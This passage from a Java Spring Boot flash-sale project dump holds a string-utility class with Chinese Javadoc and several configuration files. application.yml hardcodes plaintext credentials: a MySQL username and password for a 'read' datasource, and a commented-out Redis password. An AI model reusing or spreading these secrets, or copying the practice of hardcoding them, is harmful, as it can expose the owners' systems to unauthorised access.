<pre>\n\t * StringUtil.trim(null)          = null\n\t * StringUtil.trim(&quot;&quot;)            = &quot;&quot;\n\t * StringUtil.trim(&quot;     &quot;)       = &quot;&quot;\n\t * StringUtil.trim(&quot;abc&quot;)         = &quot;abc&quot;\n\t * StringUtil.trim(&quot;    abc    &quot;) = &quot;abc&quot;\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            被trim的字符串, 可以为<code>null</code>\n\t * @return 被trim后的字符串,输入为<code>null</code>的话, 直接返回<code>null</code>\n\t */\n\tpublic static String trim(String str) {\n\t\treturn str == null ? null : str.trim();\n\t}\n\n\t/**\n\t * 删除输入字符串头和尾的控制字符(char &lt;= 32), 输入全为空白的字符串或<code>null</code>的话, 返回\n\t * <code>null</code>.\n\t * \n\t * <p>\n\t * 使用{@link String#trim()}来实现删除字符串头和尾的控制字符.\n\t * </p>\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.trimToNull(null)          = null\n\t * StringUtil.trimToNull(&quot;&quot;)            = null\n\t * StringUtil.trimToNull(&quot;     &quot;)       = null\n\t * StringUtil.trimToNull(&quot;abc&quot;)         = &quot;abc&quot;\n\t * StringUtil.trimToNull(&quot;    abc    &quot;) = &quot;abc&quot;\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            被trim的字符串, 可以为<code>null</code>\n\t * @return 被trim后的字符串,输入全为空白的字符串或<code>null</code>的话, 返回<code>null</code>\n\t */\n\tpublic static String trimToNull(String str) {\n\t\tString ts = trim(str);\n\t\treturn isEmpty(ts) ? null : ts;\n\t}\n\n\t/**\n\t * 删除输入字符串头和尾的控制字符(char &lt;= 32), 输入<code>null</code>的话, 返回<code>\"\"</code>.\n\t * \n\t * <p>\n\t * 使用{@link String#trim()}来实现删除字符串头和尾的控制字符.\n\t * </p>\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.trimToEmpty(null)          = &quot;&quot;\n\t * StringUtil.trimToEmpty(&quot;&quot;)            = &quot;&quot;\n\t * StringUtil.trimToEmpty(&quot;     &quot;)       = &quot;&quot;\n\t * StringUtil.trimToEmpty(&quot;abc&quot;)         = &quot;abc&quot;\n\t * StringUtil.trimToEmpty(&quot;    abc    &quot;) = &quot;abc&quot;\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            被trim的字符串, 可以为<code>null</code>\n\t * @return 被trim后的字符串,输入<code>null</code>的话, 返回<code>\"\"</code>.\n\t */\n\tpublic static String trimToEmpty(String str) {\n\t\treturn str == null ? \"\" : str.trim();\n\t}\n\n\t// Equals\n\t// -----------------------------------------------------------------------\n\n\t/**\n\t * 比较两个字符串, 当两个字符串忽略大小写后相等({@link String#equalsIgnoreCase(String)}),或都为\n\t * <code>null</code>时,返回<code>true</code>.\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.equalsIgnoreCase(null, null)   = true\n\t * StringUtil.equalsIgnoreCase(null, &quot;abc&quot;)  = false\n\t * StringUtil.equalsIgnoreCase(&quot;abc&quot;, null)  = false\n\t * StringUtil.equalsIgnoreCase(&quot;abc&quot;, &quot;abc&quot;) = true\n\t * StringUtil.equalsIgnoreCase(&quot;abc&quot;, &quot;ABC&quot;) = true\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str1\n\t *            第一个字符串, 可以为<code>null</code>\n\t * @param str2\n\t *            第二个字符串, 可以为<code>null</code>\n\t * @return 当两个字符串忽略大小写后相等({@link String#equalsIgnoreCase(String)}),或都为\n\t *         <code>null</code>时,返回<code>true</code>,否则返回<code>false</code>\n\t */\n\tpublic static boolean equalsIgnoreCase(String str1, String str2) {\n\t\treturn str1 == null ? str2 == null : str1.equalsIgnoreCase(str2);\n\t}\n\n\t// Replacing\n\t// -----------------------------------------------------------------------\n\t/**\n\t * 把在源字符串内出现的指定字符串全部用新字符串替换.\n\t * \n\t * <p>\n\t * 任何一个输入参数的值为<code>null</code>的话,不处理,返回源字符串\n\t * </p>\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.replace(null, *, *)        = null\n\t * StringUtil.replace(&quot;&quot;, *, *)          = &quot;&quot;\n\t * StringUtil.replace(&quot;any&quot;, null, *)    = &quot;any&quot;\n\t * StringUtil.replace(&quot;any&quot;, *, null)    = &quot;any&quot;\n\t * StringUtil.replace(&quot;any&quot;, &quot;&quot;, *)      = &quot;any&quot;\n\t * StringUtil.replace(&quot;aba&quot;, &quot;a&quot;, null)  = &quot;aba&quot;\n\t * StringUtil.replace(&quot;aba&quot;, &quot;a&quot;, &quot;&quot;)    = &quot;b&quot;\n\t * StringUtil.replace(&quot;aba&quot;, &quot;a&quot;, &quot;z&quot;)   = &quot;zbz&quot;\n\t * StringUtil.replace(&quot;uuu&quot;, &quot;uu&quot;, &quot;u&quot;)  = &quot;uu&quot;\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param text\n\t *            源字符串, 可以为<code>null</code>.\n\t * @param searchString\n\t *            源字符串内,要被替换的字符串, 可以为<code>null</code>.\n\t * @param replacement\n\t *            新字符串,可以为<code>null</code>.\n\t * @return 替换后的字符串,如任何一个输入参数的值为<code>null</code>的话,不处理,返回源字符串.\n\t */\n\tpublic static String replace(String text, String searchString,\n\t\t\tString replacement) {\n\t\treturn replace(text, searchString, replacement, -1);\n\t}\n\n\t/**\n\t * 把在源字符串内出现的指定字符串用新字符串替换, 最大的替换个数由max值指定, max值等于-1的话, 替换全部.\n\t * \n\t * <p>\n\t * 任何一个输入参数的值为<code>null</code>的话,不处理,返回源字符串\n\t * </p>\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.replace(null, *, *, *)         = null\n\t * StringUtil.replace(&quot;&quot;, *, *, *)           = &quot;&quot;\n\t * StringUtil.replace(&quot;any&quot;, null, *, *)     = &quot;any&quot;\n\t * StringUtil.replace(&quot;any&quot;, *, null, *)     = &quot;any&quot;\n\t * StringUtil.replace(&quot;any&quot;, &quot;&quot;, *, *)       = &quot;any&quot;\n\t * StringUtil.replace(&quot;any&quot;, *, *, 0)        = &quot;any&quot;\n\t * StringUtil.replace(&quot;abaa&quot;, &quot;a&quot;, null, -1) = &quot;abaa&quot;\n\t * StringUtil.replace(&quot;abaa&quot;, &quot;a&quot;, &quot;&quot;, -1)   = &quot;b&quot;\n\t * StringUtil.replace(&quot;abaa&quot;, &quot;a&quot;, &quot;z&quot;, 0)   = &quot;abaa&quot;\n\t * StringUtil.replace(&quot;abaa&quot;, &quot;a&quot;, &quot;z&quot;, 1)   = &quot;zbaa&quot;\n\t * StringUtil.replace(&quot;abaa&quot;, &quot;a&quot;, &quot;z&quot;, 2)   = &quot;zbza&quot;\n\t * StringUtil.replace(&quot;abaa&quot;, &quot;a&quot;, &quot;z&quot;, -1)  = &quot;zbzz&quot;\n\t * StringUtil.replace(&quot;uuu&quot;, &quot;uu&quot;, &quot;u&quot;, -1)  = &quot;uu&quot;\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param text\n\t *            源字符串, 可以为<code>null</code>.\n\t * @param searchString\n\t *            源字符串内,要被替换的字符串, 可以为<code>null</code>.\n\t * @param replacement\n\t *            新字符串,可以为<code>null</code>.\n\t * @param max\n\t *            最大的替换个数,等于-1的话,替换全部\n\t * @return 替换后的字符串,如任何一个输入参数的值为<code>null</code>的话,不处理,返回源字符串.\n\t */\n\tpublic static String replace(String text, String searchString,\n\t\t\tString replacement, int max) {\n\t\tif (isEmpty(text) || isEmpty(searchString) || replacement == null\n\t\t\t\t|| max == 0) {\n\t\t\treturn text;\n\t\t}\n\t\tint start = 0;\n\t\tint end = text.indexOf(searchString, start);\n\t\tif (end == -1) {\n\t\t\treturn text;\n\t\t}\n\t\tint replLength = searchString.length();\n\t\tint increase = replacement.length() - replLength;\n\t\tincrease = (increase < 0 ? 0 : increase);\n\t\tincrease *= (max < 0 ? 16 : (max > 64 ? 64 : max));\n\t\tStringBuffer buf = new StringBuffer(text.length() + increase);\n\t\twhile (end != -1) {\n\t\t\tbuf.append(text.substring(start, end)).append(replacement);\n\t\t\tstart = end + replLength;\n\t\t\tif (--max == 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tend = text.indexOf(searchString, start);\n\t\t}\n\t\tbuf.append(text.substring(start));\n\t\treturn buf.toString();\n\t}\n\n\t// Remove\n\t// -----------------------------------------------------------------------\n\t/**\n\t * 从源字符串内去除指定的字符串.\n\t * \n\t * <p>\n\t * 如果源字符串或者要被去除的字符串均为<code>null</code>的话, 不处理, 返回源字符串.\n\t * </p>\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.remove(null, *)        = null\n\t * StringUtil.remove(*, null)        = *\n\t * StringUtil.remove(&quot;&quot;, *)          = &quot;&quot; \n\t * StringUtil.remove(*, &quot;&quot;)          = *\n\t * StringUtil.remove(&quot;queued&quot;, &quot;ue&quot;) = &quot;qd&quot;\n\t * StringUtil.remove(&quot;queued&quot;, &quot;zz&quot;) = &quot;queued&quot;\n\t * StringUtil.remove(&quot;uuu&quot;, &quot;uu&quot;)    = &quot;u&quot;\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            源字符串, 可以为<code>null</code>.\n\t * @param remove\n\t *            要被去除的字符串, 可以为<code>null</code>.\n\t * @return 去除指定字符串后的字符串, 如果源字符串或者要被去除的字符串均为<code>null</code>的话, 不处理, 返回源字符串.\n\t */\n\tpublic static String remove(String str, String remove) {\n\t\tif (isEmpty(str) || isEmpty(remove)) {\n\t\t\treturn str;\n\t\t}\n\t\treturn replace(str, remove, \"\", -1);\n\t}\n\n\t// Abbreviating\n\t// -----------------------------------------------------------------------\n\t/**\n\t * 方法{@link #abbreviate(String, int)}的简写.\n\t */\n\tpublic static String abbr(String str, int maxWidth) {\n\t\treturn abbreviate(str, maxWidth);\n\t}\n\n\t/**\n\t * 返回字符串的缩写,如在<code>maxWidth==10</code>\n\t * 时,字符串\"这也算是成立一周年的庆祝活动\"的缩写为\"这也算是成立一...\". 你可以指定缩写最多包含的字符数,\n\t * 缩写的提示部分用三个点的省略号(...)代替.\n\t * \n\t * <p>\n\t * 注意:\n\t * <ul>\n\t * <li>如果输入字符串<code>str</code> 的字符数少于或等于<code>maxWidth</code>指定的字符数,则返回输入字符串\n\t * </li>\n\t * <li>如果多于<code>maxWidth</code>指定的字符数,则返回 输入字符串<code>str</code>的头\n\t * <code>maxWidth-3</code>个字符 + 三个点的省略号(...) 后的字符串</li>\n\t * <li>如果<code>maxWidth</code>的值小于<code>4</code>,则抛出异常\n\t * <code>IllegalArgumentException</code>.</li>\n\t * <li>在任何情况下, 返回字符串的字符数均不会多于<code>maxWidth</code>指定的字符数.</li>\n\t * </ul>\n\t * </p>\n\t * \n\t * <p>\n\t * <blockquote>\n\t * \n\t * <pre>\n\t * StringUtil.abbreviate(null, *)      = null\n\t * StringUtil.abbreviate(&quot;a&quot;, 3)       = IllegalArgumentException\n\t * StringUtil.abbreviate(&quot;ab&quot;, 4)      = &quot;ab&quot;\n\t * StringUtil.abbreviate(&quot;&quot;, 4)        = &quot;&quot;\n\t * StringUtil.abbreviate(&quot;abcdefg&quot;, 6) = &quot;abc...&quot;\n\t * StringUtil.abbreviate(&quot;abcdefg&quot;, 7) = &quot;abcdefg&quot;\n\t * StringUtil.abbreviate(&quot;abcdefg&quot;, 8) = &quot;abcdefg&quot;\n\t * StringUtil.abbreviate(&quot;abcdefg&quot;, 4) = &quot;a...&quot;\n\t * StringUtil.abbreviate(&quot;abcdefg&quot;, 3) = IllegalArgumentException\n\t * </pre>\n\t * \n\t * </blockquote>\n\t * </p>\n\t * \n\t * @param str\n\t *            源字符串,可以为<code>null</code>.\n\t * @param maxWidth\n\t *            返回字符串最多可包含字符数的值,必须大于或等于<code>4</code>.\n\t * @return 源字符串的缩写形式,如果源字符串为<code>null</code>的话,返回<code>null</code>.\n\t * @throws IllegalArgumentException\n\t *             如果<code>maxWidth</code>的值小于<code>4</code>.\n\t */\n\tpublic static String abbreviate(String str, int maxWidth) {\n\t\treturn abbreviate(str, 0, maxWidth);\n\t}\n\n\tprivate static String abbreviate(String str, int offset, int maxWidth) {\n\t\tif (str == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (maxWidth < 4) {\n\t\t\tthrow new IllegalArgumentException(\"maxWidth的值最小必须为4\");\n\t\t}\n\t\tif (str.length() <= maxWidth) {\n\t\t\treturn str;\n\t\t}\n\t\tif (offset > str.length()) {\n\t\t\toffset = str.length();\n\t\t}\n\t\tif ((str.length() - offset) < (maxWidth - 3)) {\n\t\t\toffset = str.length() - (maxWidth - 3);\n\t\t}\n\t\tif (offset <= 4) {\n\t\t\treturn str.substring(0, maxWidth - 3) + \"...\";\n\t\t}\n\t\tif (maxWidth < 7) {\n\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\"Minimum abbreviation width with offset is 7\");\n\t\t}\n\t\tif ((offset + (maxWidth - 3)) < str.length()) {\n\t\t\treturn \"...\" + abbreviate(str.substring(offset), maxWidth - 3);\n\t\t}\n\t\treturn \"...\" + str.substring(str.length() - (maxWidth - 3));\n\t}\n\n\t/**\n\t * 判断字符串是否有内容\n\t * \n\t * @param text\n\t * @return\n\t */\n\tpublic static boolean hasText(String text) {\n\t\tif (null != text) {\n\t\t\tif (0 < text.length()) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\t/**\n\t * 将输入流转换成字符串\n\t * \n\t * @param is\n\t * @return\n\t * @throws IOException\n\t */\n\tpublic static String cvStream2String(final InputStream is)\n\t\t\tthrows IOException {\n\t\tif (null == is) {\n\t\t\treturn null;\n\t\t}\n\t\tBufferedReader reader = null;\n\t\tStringBuilder sb = null;\n\t\ttry {\n\t\t\treader = new BufferedReader(new InputStreamReader(is));\n\t\t\tsb = new StringBuilder();\n\t\t\tString line = null;\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tsb.append(line + \"\\n\");\n\t\t\t}\n\t\t} finally {\n\t\t\tif (null != reader) {\n\t\t\t\treader.close();\n\t\t\t}\n\t\t}\n\t\tif (null == sb) {\n\t\t\treturn null;\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 将输入流根据编码转换成字符串\n\t * \n\t * @param is\n\t * @param charSet\n\t * @return\n\t * @throws IOException\n\t */\n\tpublic static String cvStream2String(final InputStream is, String charSet)\n\t\t\tthrows IOException {\n\t\tif (null == is || isEmpty(charSet)) {\n\t\t\treturn null;\n\t\t}\n\t\tBufferedReader reader = null;\n\t\tStringBuilder sb = null;\n\t\ttry {\n\t\t\treader = new BufferedReader(new InputStreamReader(is, charSet));\n\t\t\tsb = new StringBuilder();\n\t\t\tString line = null;\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tsb.append(line + \"\\n\");\n\t\t\t}\n\t\t} finally {\n\t\t\tif (null != reader) {\n\t\t\t\treader.close();\n\t\t\t}\n\t\t}\n\t\tif (null == sb) {\n\t\t\treturn null;\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 将数组转换成字符组合\n\t * \n\t * @param array\n\t *            数组\n\t * @param separator\n\t *            分隔符\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static String array2String(Object[] array, String separator)\n\t\t\tthrows Exception {\n\t\tif (null == array || array.length == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tStringBuilder sb = new StringBuilder();\n\t\tfor (Object object : array) {\n\t\t\tsb.append(object);\n\t\t\tsb.append(separator);\n\t\t}\n\t\treturn sb.deleteCharAt(sb.length() - 1).toString();\n\t}\n\n\t/**\n\t * 对数据进行四舍五入，保留newScale位小数\n\t * \n\t * @param number\n\t * @param newScale\n\t * @param roundingMode\n\t * @return\n\t */\n\tpublic static double bigDecimalScale(double number, int newScale,\n\t\t\tint roundingMode) {\n\t\tBigDecimal b1 = new BigDecimal(number).setScale(newScale, roundingMode);\n\t\treturn b1.doubleValue();\n\t}\n\n\t/**\n\t * 对数值进行五入，保留newScale位小数 例：1.024，得到1.03\n\t * \n\t * 只入不舍\n\t * \n\t * @param amount\n\t * @param newScale\n\t * @return\n\t */\n\tpublic static int strScale(String amount, int newScale) {\n\t\tdouble d = bigDecimalScale(Double.valueOf(amount), newScale,\n\t\t\t\tBigDecimal.ROUND_UP);\n\t\tint x = 1;\n\t\tfor (int i = 0; i < newScale; i++) {\n\t\t\tx *= 10;\n\t\t}\n\t\tint b = (int) (d * x);\n\t\treturn b;\n\t}\n\n\t/**\n\t * 将整数除100转换成浮点数 用于将分转换成元\n\t * \n\t * @param n\n\t * @param m\n\t * @return\n\t */\n\tpublic static String takeMultiplesApart(Long n, int m) {\n\t\tString ret = String.valueOf(Float.valueOf(n.longValue()) / m);\n\t\treturn ret;\n\t}\n\n\t/**\n\t * 将浮点数转换成整数 用于将元转换成分\n\t * \n\t * @param n\n\t * @param m\n\t * @return\n\t */\n\tpublic static String takeMultiplesRide(Float n, int m) {\n\t\treturn String.valueOf((int) (n * m));\n\t}\n\n\t/**\n\t * 是否为手机号\n\t * \n\t * @param mobiles\n\t * @return\n\t */\n\tpublic static boolean isMobileNO(String mobiles) {\n\t\tMatcher m = mobliePattern.matcher(mobiles);\n\t\treturn m.matches();\n\t}\n\n\t/**\n\t * 是否为邮箱\n\t * \n\t * @param mobiles\n\t * @return\n\t */\n\tpublic static boolean isEmail(String email) {\n\t\tMatcher m = emailPattern.matcher(email);\n\t\treturn m.matches();\n\t}\n\n\tpublic static String trimObjToEmpty(Object str) {\n\t\treturn str == null ? \"\" : str.toString().trim();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.jun.plugin.seckill.redis.repository.RedisCacheConfig,com.jun.plugin.seckill.redis.repository.RedissonProperties,com.jun.plugin.seckill.redis.repository.RedissonAutoConfiguration"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  tomcat:\n    max-threads: 1000\n    accept-count: 1000\n    max-connections: 2000\n  \nzookeeper:\n  address: 192.168.240.15\\:2181,192.168.240.15\\:2182,192.168.240.15\\:2183\n  \nspring:\n  application:\n    name: distributed-seckill\n  session:\n    store-type: none\n  kafka:\n    bootstrap-servers:\n    - 192.168.240.42:9092\n    - 192.168.240.43:9092\n    - 192.168.240.44:9092\n    consumer:\n      group-id: 0\n      key-deserializer: org.apache.kafka.common.serialization.StringDeserializer\n      value-deserializer: org.apache.kafka.common.serialization.StringDeserializer\n    producer:\n      key-serializer: org.apache.kafka.common.serialization.StringSerializer\n      value-serializer: org.apache.kafka.common.serialization.StringSerializer\n      batch-size: 65536\n      buffer-memory: 524288\n  redis:\n    database: 0\n    port: 6379\n#    password: dXzMHN2MaHUX\n    password: \n    timeout: 3000\n    host: 127.0.0.1\n#    cluster:\n#      nodes: 192.168.234.18:6579,192.168.234.28:6579,192.168.234.29:6579,192.168.234.30:6579,192.168.234.6:6579,192.168.234.43:6579\n    pool:\n      max-active: 8\n      max-wait: 3000\n      max-idle: 8\n      min-idle: 0\n  datasource:\n    write:\n      url: jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true\n      username: root\n      password: \n      driver-class-name: com.mysql.jdbc.Driver\n      max-active: 20\n      initial-size: 1\n      min-idle: 3\n      max-wait: 60000\n      time-between-eviction-runs-millis: 60000\n      min-evictable-idle-time-millis: 300000\n      validation-query: SELECT 'x' FROM DUAL\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      connectionProperties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=3000\n    read:\n      url: jdbc:mysql://127.0.0.1:8096/bm_market?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true\n      username: BlueMoon\n      password: bm.mall.123\n      driver-class-name: com.mysql.jdbc.Driver\n      max-active: 20\n      initial-size: 1\n      min-idle: 3\n      max-wait: 60000\n      time-between-eviction-runs-millis: 60000\n      min-evictable-idle-time-millis: 300000\n      validation-query: SELECT 'x' FROM DUAL\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      connectionProperties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=3000\n  mvc:\n    view:\n      prefix: /views/\n      suffix: .html\n    \nmybatis:\n  config-location:  classpath:mybatis-config.xml\n  mapper-locations: classpath:mapper/*.xml\n \n  \n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- scan 配置文件如果发生改变，将会被重新加载  scanPeriod 检测间隔时间 -->\n<configuration scan=\"true\" scanPeriod=\"60 seconds\" debug=\"false\">\n    <contextName>distributed-seckill</contextName>\n    <include resource=\"org/springframework/boot/logging/logback/base.xml\"/>\n    \n    <!-- 控制台输出格式 -->\n    <property name=\"CONSOLE_LOG_PATTERN\"\n              value=\"%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}\"/>\n    \n    <!-- 普通日志 -->\n    <appender name=\"INFO_FILE\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>log/distributed-seckill-info.log</file>\n        <!-- 循环政策：基于时间创建日志文件 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n             <!-- 日志命名:单个文件大于128MB 按照时间+自增i 生成log文件 -->\n            <fileNamePattern>log/distributed-seckill-info-%d{yyyy-MM-dd}.%i.log</fileNamePattern>\n            <timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n                <maxFileSize>128MB</maxFileSize>\n            </timeBasedFileNamingAndTriggeringPolicy>\n            <!-- 最大保存时间：30天-->\n            <maxHistory>30</maxHistory>\n        </rollingPolicy>\n        <append>true</append>\n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n            <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n            <charset>utf-8</charset>\n        </encoder>\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n            <level>info</level>\n            <onMatch>ACCEPT</onMatch>\n            <onMismatch>DENY</onMismatch>\n        </filter>\n    </appender>\n     <!-- 错误日志 -->\n    <appender name=\"ERROR_FILE\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>log/distributed-seckill-error.log</file>\n        <!-- 循环政策：基于时间创建日志文件 -->\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <!-- 日志命名:单个文件大于2MB 按照时间+自增i 生成log文件 -->\n            <fileNamePattern>log/distributed-seckill-error-%d{yyyy-MM-dd}.%i.log</fileNamePattern>\n            <timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n                <maxFileSize>2MB</maxFileSize>\n            </timeBasedFileNamingAndTriggeringPolicy>\n            <!-- 最大保存时间：180天-->\n            <maxHistory>180</maxHistory>\n        </rollingPolicy>\n        <append>true</append>\n        <!-- 日志格式 -->\n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n            <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n            <charset>utf-8</charset>\n        </encoder>\n        <!-- 日志级别过滤器 -->\n        <filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n             <!-- 过滤的级别 -->\n\t\t     <level>ERROR</level>\n\t\t     <!-- 匹配时的操作：接收（记录） -->\n\t\t     <onMatch>ACCEPT</onMatch>\n\t\t     <!-- 不匹配时的操作：拒绝（不记录） -->\n\t\t     <onMismatch>DENY</onMismatch>\n        </filter>\n    </appender>\n    <!-- 控制台 -->\n    <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <!-- 日志格式 -->\n        <encoder>\n            <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n            <charset>utf-8</charset>\n        </encoder>\n        <!--此日志appender是为开发使用，只配置最底级别，控制台输出的日志级别是大于或等于此级别的日志信息-->\n        <filter class=\"ch.qos.logback.classic.filter.ThresholdFilter\">\n            <level>INFO</level>\n        </filter>\n    </appender>\n    <!-- additivity 避免执行2次 -->\n    <logger name=\"com.jun.plugin.seckill\"  level=\"INFO\"  additivity=\"false\">\n        <appender-ref ref=\"STDOUT\"/>\n        <appender-ref ref=\"INFO_FILE\"/>\n        <appender-ref ref=\"ERROR_FILE\"/>\n    </logger>\n    <root level=\"INFO\">\n        <appender-ref ref=\"STDOUT\" />\n        <appender-ref ref=\"INFO_FILE\" />\n        <appender-ref ref=\"ERROR_FILE\" />\n    </root>\n</configuration>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/resources/mybatis-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n\n    <!-- 全局参数 -->\n    <settings>\n        <!-- 使全局的映射器启用或禁用缓存。 -->\n        <setting name=\"cacheEnabled\" value=\"true\"/>\n\n        <!-- 全局启用或禁用延迟加载。当禁用时，所有关联对象都会即时加载。 -->\n        <setting name=\"lazyLoadingEnabled\" value=\"true\"/>\n\n        <!-- 当启用时，有延迟加载属性的对象在被调用时将会完全加载任意属性。否则，每种属性将会按需要加载。 -->\n        <setting name=\"aggressiveLazyLoading\" value=\"true\"/>\n\n        <!-- 是否允许单条sql 返回多个数据集  (取决于驱动的兼容性) default:true -->\n        <setting name=\"multipleResultSetsEnabled\" value=\"true\"/>\n\n        <!-- 是否可以使用列的别名 (取决于驱动的兼容性) default:true -->\n        <setting name=\"useColumnLabel\" value=\"true\"/>\n\n        <!-- 允许JDBC 生成主键。需要驱动器支持。如果设为了true，这个设置将强制使用被生成的主键，有一些驱动器不兼容不过仍然可以执行。  default:false  -->\n        <setting name=\"useGeneratedKeys\" value=\"false\"/>\n\n        <!-- 指定 MyBatis 如何自动映射 数据基表的列 NONE：不隐射　PARTIAL:部分  FULL:全部  -->\n        <setting name=\"autoMappingBehavior\" value=\"PARTIAL\"/>\n\n        <!-- 这是默认的执行类型  （SIMPLE: 简单； REUSE: 执行器可能重复使用prepared statements语句；BATCH: 执行器可以重复执行语句和批量更新）  -->\n        <setting name=\"defaultExecutorType\" value=\"SIMPLE\"/>\n\n        <!-- 使用驼峰命名法转换字段。 -->\n        <setting name=\"mapUnderscoreToCamelCase\" value=\"true\"/>\n\n        <!-- 设置本地缓存范围 session:就会有数据的共享  statement:语句范围 (这样就不会有数据的共享 ) default:session -->\n        <setting name=\"localCacheScope\" value=\"SESSION\"/>\n\n        <!-- 设置但JDBC类型为空时,某些驱动程序 要指定值,default:OTHER，插入空值时不需要指定类型 -->\n        <setting name=\"jdbcTypeForNull\" value=\"NULL\"/>\n\n    </settings>\n\n    <plugins>\n        <!-- com.github.pagehelper为PageHelper类所在包名 -->\n        <plugin interceptor=\"com.github.pagehelper.PageHelper\">\n\n            <property name=\"dialect\" value=\"mysql\"/>\n\n            <!-- 该参数默认为false -->\n            <!-- 设置为true时，会将RowBounds第一个参数offset当成pageNum页码使用 -->\n            <!-- 和startPage中的pageNum效果一样 -->\n            <property name=\"offsetAsPageNum\" value=\"true\"/>\n\n            <!-- 该参数默认为false -->\n            <!-- 设置为true时，使用RowBounds分页会进行count查询 -->\n            <property name=\"rowBoundsWithCount\" value=\"true\"/>\n\n            <!-- 设置为true时，如果pageSize=0或者RowBounds.limit = 0就会查询出全部的结果 -->\n            <!-- （相当于没有执行分页查询，但是返回结果仍然是Page类型） -->\n            <property name=\"pageSizeZero\" value=\"true\"/>\n\n            <!-- 3.3.0版本可用 - 分页参数合理化，默认false禁用 -->\n            <!-- 启用合理化时，如果pageNum<1会查询第一页，如果pageNum>pages会查询最后一页 -->\n            <!-- 禁用合理化时，如果pageNum<1或pageNum>pages会返回空数据 -->\n            <property name=\"reasonable\" value=\"true\"/>\n\n            <!-- 3.5.0版本可用 - 为了支持startPage(Object params)方法 -->\n            <!-- 增加了一个`params`参数来配置参数映射，用于从Map或ServletRequest中取值 -->\n            <!-- 可以配置pageNum,pageSize,count,pageSizeZero,reasonable,不配置映射的用默认值 -->\n            <!-- 不理解该含义的前提下，不要随便复制该配置 -->\n            <property name=\"params\" value=\"pageNum=start;pageSize=limit;\"/>\n\n        </plugin>\n\n        <plugin interceptor=\"com.jun.plugin.seckill.mybatis.datasource.DynamicPlugin\">\n        </plugin>\n    </plugins>\n\n</configuration>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/webapp/css/index.css",
